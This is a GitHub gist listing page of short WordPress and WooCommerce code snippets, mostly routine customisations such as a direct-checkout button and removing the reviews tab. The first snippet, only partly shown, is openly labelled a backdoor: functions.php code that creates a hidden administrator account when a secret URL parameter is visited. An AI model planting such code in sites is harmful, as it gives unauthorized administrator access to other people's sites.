Skip to content

Instantly share code, notes, and snippets.

Abid Hasan abid112

Block or report user

Report or block abid112

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@abid112
abid112 / backdoor-functions.php
Created Apr 25, 2019
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
View backdoor-functions.php
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
@abid112
abid112 / add-button-beside-add-to-cart-with-direct-checkout.php
Last active Mar 19, 2019
This function is provide the facility of another button called "Direct Checkout" besides 'Add to Cart" which will takes user to the direct checkout page on Woocommerce.
View add-button-beside-add-to-cart-with-direct-checkout.php
/********************************************************************************************
*Add this on functions.php of your WordPress
*********************************************************************************************/
function add_content_after_addtocart() {
// get the current post/product ID
$current_product_id = get_the_ID();
// get the product based on the ID
@abid112
abid112 / Exclude reCAPTCHA v3 from specific pages in WordPress
Created Mar 12, 2019
This is for the WordPress user who uses Contact Form-7 integration for reCAPTCHA v3 . Google introduced a new reCAPTCHA v3 which is run on the background of the webpage. So no need to perform that checkbox and stupid image puzzle anymore. Google detects automatically with their algorithm of Human or Bot. In reCAPTCHA v3 in Contact Form-7 is perf…
View Exclude reCAPTCHA v3 from specific pages in WordPress
//For one page
add_action('wp_print_scripts', function () {
if ( !is_page('contact-us') ){
wp_dequeue_script( 'google-recaptcha' );
}
});
//For multiple pages
add_action('wp_print_scripts', function () {
@abid112
abid112 / hide-class-if-another-class-is-exists.js
Created Jan 19, 2019
This JavaScript is hide another class if the specific class is exists.
View hide-class-if-another-class-is-exists.js
<script type="text/javascript">
$(document).ready(function(){
if ($('.mwd-success').css('display') == 'block') {
$('.email-confirm-sub').css('display', 'none');
}
});
</script>
@abid112
abid112 / Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
Created Jul 18, 2018
Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
View Difference between get_stylesheet_directory_uri() | get_template_directory_uri() | get_stylesheet_uri()
To know the differnce of these 3 function of WP, we need to print this 3 function.
Lets say, Our theme name is "wp-rootstrap". We create a child theme named, "wp-rootstrap-child". Inside child theme, we created header.php
and write the bellow codes to see the results.
<?php echo get_stylesheet_directory_uri() ."<br>"; ?>
<?php echo get_template_directory_uri() ."<br>"; ?>
<?php echo get_stylesheet_uri() ."<br>"; ?>
@abid112
abid112 / footer.php
Created Jan 8, 2018
This code will Redirect you to "Success Page/Thank You" page after Submit the form of Contact Form-7 [WORDPRESS]
View footer.php
@abid112
abid112 / remove-review-functions.php
Last active Nov 23, 2017
If you don't want to see "Woocommerce Review" section on your product page, then add this line on your functions.php
View remove-review-functions.php
add_filter( 'woocommerce_product_tabs', 'wcs_woo_remove_reviews_tab', 98 );
function wcs_woo_remove_reviews_tab($tabs) {
unset($tabs['reviews']);
return $tabs;
}
You can’t perform that action at this time.